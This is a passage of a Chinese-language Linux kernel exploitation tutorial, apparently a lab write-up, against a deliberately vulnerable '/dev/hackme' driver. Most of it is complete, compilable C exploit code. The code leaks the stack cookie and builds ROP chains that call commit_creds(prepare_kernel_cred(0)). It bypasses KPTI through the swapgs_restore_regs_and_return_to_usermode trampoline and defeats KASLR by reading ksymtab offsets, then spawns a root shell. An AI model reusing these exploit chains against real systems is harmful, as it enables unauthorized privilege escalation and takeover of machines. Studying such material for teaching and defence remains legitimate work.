.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
...

只需要关注它交换页表、swapgs 和 iretq 的部分,也就是 swapgs_restore_regs_and_return_to_usermode + 22 ,即第一个 mov 的位置。

然后就是最重要的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
...
.text:FFFFFFFF8120102E mov rdi, cr3
.text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067 or rdi, 1000h
.text:FFFFFFFF8120106E mov cr3, rdi
...
.text:FFFFFFFF81200FC7 iretq

值得注意的是,它 pop 了两个寄存器( rax & rdi ),所以我们在构造 payload 的时候,要把这两个寄存器赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
void overflow(void){
// ...
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
// ...
}

完整exp

法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
//gcc 1.c -static -masm=intel -g -o 1
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>


int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}

unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytes\n", r);
//print_leak(leak, n);
printf("[*] Cookie: %lx\n", cookie);
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}

unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq frame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

int main() {

save_state();

signal(SIGSEGV, get_shell);

open_dev();

leak();

overflow();

puts("[!] Should never be reached");

return 0;
}

法二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>


int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}

unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytes\n", r);
//print_leak(leak, n);
printf("[*] Cookie: %lx\n", cookie);
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}

unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616;
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long kpti_trampoline = 0xffffffff81200f10 + 22;

void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

int main() {

save_state();

open_dev();

leak();

overflow();

puts("[!] Should never be reached");

return 0;
}

添加 KASLR

内核地址随机化,和用户态的 ASLR 一样。在用户态中,我们会通过泄露段中的地址,从而计算段的基地址,再利用偏移算出其他函数地址。对于内核态也是如此,但是值得注意的是,大多数符号都是自己随机化的,所以地址和内核基址(.text)之间的偏移量并不像之前一样是恒定的。

但是还是有洞可寻的,内核中的某些区域永远不会被随机化:

  • 从 _text base 到 __x86_retpoline_r15 的函数,即 _text+0x400dc6 不受影响。但是,commit_creds() 和 prepare_kernel_cred() 不在这个区域。
  • swapgs_restore_regs_and_return_to_usermode() 不受影响
  • 从 _text+0xf85198 开始的内核符号表 ksymtab 不受影响。 这里包含可用于计算 commit_creds() 和 prepare_kernel_cred() 的地址的偏移量。

来看看内核符号表 ksymtab ,value_offset 是我们该关注的,它是从 ksymtab 中符号条目的地址到实际符号地址本身的偏移量

1
2
3
4
5
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};

我们可以从 /proc/kallsyms 中获取 ksymtab 的内容

1
2
3
4
cat /proc/kallsyms | grep ksymtab_commit_creds
-> ffffffffb7f87d90 r __ksymtab_commit_creds
cat /proc/kallsyms | grep ksymtab_prepare_kernel_cred
-> ffffffffb7f8d4fc r __ksymtab_prepare_kernel_cred

首先还是要泄露地址,测试发现在偏移量为 38 处有一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void leak(void){
unsigned n = 40;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
image_base = leak[38] - 0xa157ULL;
kpti_trampoline = image_base + 0x200f10UL + 22UL;
pop_rax_ret = image_base + 0x4d11UL;
read_mem_pop1_ret = image_base + 0x4aaeUL;
pop_rdi_rbp_ret = image_base + 0x38a0UL;
ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
ksymtab_commit_creds = image_base + 0xf87d90UL;

printf("[*] Leaked %zd bytes\n", r);
printf(" --> Cookie: %lx\n", cookie);
printf(" --> Image base: %lx\n", image_base);
}

然后就是泄露 commit_creds() 和 prepare_kernel_cred() 了

泄露 commit_creds

先说说泄露 commit_creds()

获取 ksymtab_commit_creds 的 value_offset(),然后将它们相加即可

利用以下几个 gadget ,将 rax 赋成 ksymtab_commit_creds - 0x10 ,之后 eax 就会被赋值为 ksymtab_commit_creds 的内容

1
2
3
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;

因为 KPTI 保护并没有关,所以还是要跳到 swapgs_restore_regs_and_return_to_usermode + 22 的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void stage_1(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = ksymtab_commit_creds - 0x10; // rax <- __ksymtabs_commit_creds - 0x10
payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_commit_creds]
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_commit_creds;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to leak commit_creds()");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

即使在 KPTI trampoline 中有一个 pop rax,并且我们使用一个虚拟值来弹出它,我们读取的结果 rax 仍然可以正确恢复,所以我们不需要关心它。

当返回到用户态后,我们就需要用 rax 的值来计算 commit_creds() 的实际地址,这里创建了一个 unsigned long 类型的全局变量 tmp_store ,用于存储 rax 的值。然后再将 tmp_store 和 ksymtab_commit_creds 相加,(注意要将 tmp_store 转换为 int 类型,因为 value_offset 的数据类型是 int )

1
2
3
4
5
6
7
8
void get_commit_creds(void){
__asm__(
"mov tmp_store, rax;"
);
commit_creds = ksymtab_commit_creds + (int)tmp_store;
printf(" --> commit_creds: %lx\n", commit_creds);
stage_2();
}

然后就是泄露 prepare_kernel_cred 了。

泄露 prepare_kernel_cred

和泄露 commit_creds 很像,就不多说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void stage_2(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = ksymtab_prepare_kernel_cred - 0x10; // rax <- __ksymtabs_prepare_kernel_cred - 0x10
payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_prepare_kernel_cred]
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to leak prepare_kernel_cred()");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

void get_prepare_kernel_cred(void){
__asm__(
"mov tmp_store, rax;"
);
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
printf(" --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
stage_3();
}

调用 prepare_kernel_cred(0)

然后用同样的办法调用 prepare_kernel_cred(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void stage_3(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = 0; // rdi <- 0
payload[off++] = 0; // dummy rbp
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)after_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to call prepare_kernel_cred(0)");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

void after_prepare_kernel_cred(void){
__asm__(
"mov tmp_store, rax;"
);
returned_creds_struct = tmp_store;
printf(" --> returned_creds_struct: %lx\n", returned_creds_struct);
stage_4();
}

调用 commit_creds(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void stage_4(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = returned_creds_struct; // rdi <- returned_creds_struct
payload[off++] = 0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(returned_creds_struct)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to call commit_creds(returned_creds_struct)");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
//gcc 1.c -static -masm=intel -g -o 1
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>


int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}

unsigned long cookie;
unsigned long image_base;
unsigned long kpti_trampoline;
unsigned long pop_rax_ret; // pop rax; ret
unsigned long read_mem_pop1_ret; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_rbp_ret; // pop rdi; pop rbp; ret;
unsigned long ksymtab_prepare_kernel_cred;
unsigned long ksymtab_commit_creds;

unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long returned_creds_struct;

unsigned long tmp_store; // variable to store rax after each stage

void leak(void){
unsigned n = 40;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
image_base = leak[38] - 0xa157ULL;
kpti_trampoline = image_base + 0x200f10UL + 22UL;
pop_rax_ret = image_base + 0x4d11UL;
read_mem_pop1_ret = image_base + 0x4aaeUL;
pop_rdi_rbp_ret = image_base + 0x38a0UL;
ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
ksymtab_commit_creds = image_base + 0xf87d90UL;

printf("[*] Leaked %zd bytes\n", r);
//print_leak(leak, n);
printf(" --> Cookie: %lx\n", cookie);
printf(" --> Image base: %lx\n", image_base);
}

void stage_1(void);
void stage_2(void);
void stage_3(void);
void stage_4(void);

// STAGE 1: leak commit_creds()

void get_commit_creds(void);

void stage_1(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = ksymtab_commit_creds - 0x10; // rax <- __ksymtabs_commit_creds - 0x10
payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_commit_creds]
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_commit_creds;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to leak commit_creds()");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

void get_commit_creds(void){
__asm__(
"mov tmp_store, rax;"
);
commit_creds = ksymtab_commit_creds + (int)tmp_store;
printf(" --> commit_creds: %lx\n", commit_creds);
stage_2();
}

// STAGE 2: leak prepare_kernel_cred()

void get_prepare_kernel_cred(void);

void stage_2(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = ksymtab_prepare_kernel_cred - 0x10; // rax <- __ksymtabs_prepare_kernel_cred - 0x10
payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_prepare_kernel_cred]
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to leak prepare_kernel_cred()");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

void get_prepare_kernel_cred(void){
__asm__(
"mov tmp_store, rax;"
);
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
printf(" --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
stage_3();
}

// STAGE 3: call prepare_kernel_cred(0)

void after_prepare_kernel_cred(void);

void stage_3(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = 0; // rdi <- 0
payload[off++] = 0; // dummy rbp
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)after_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to call prepare_kernel_cred(0)");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

void after_prepare_kernel_cred(void){
__asm__(
"mov tmp_store, rax;"
);
returned_creds_struct = tmp_store;
printf(" --> returned_creds_struct: %lx\n", returned_creds_struct);
stage_4();
}

// STAGE 4: call commit_creds(returned_creds_struct), open shell

void get_shell(void);

void stage_4(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = returned_creds_struct; // rdi <- returned_creds_struct
payload[off++] = 0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(returned_creds_struct)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to call commit_creds(returned_creds_struct)");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}


int main() {

save_state();

open_dev();

leak();

stage_1();

puts("[!] Should never be reached");

return 0;
}

参考博客

https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/

https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/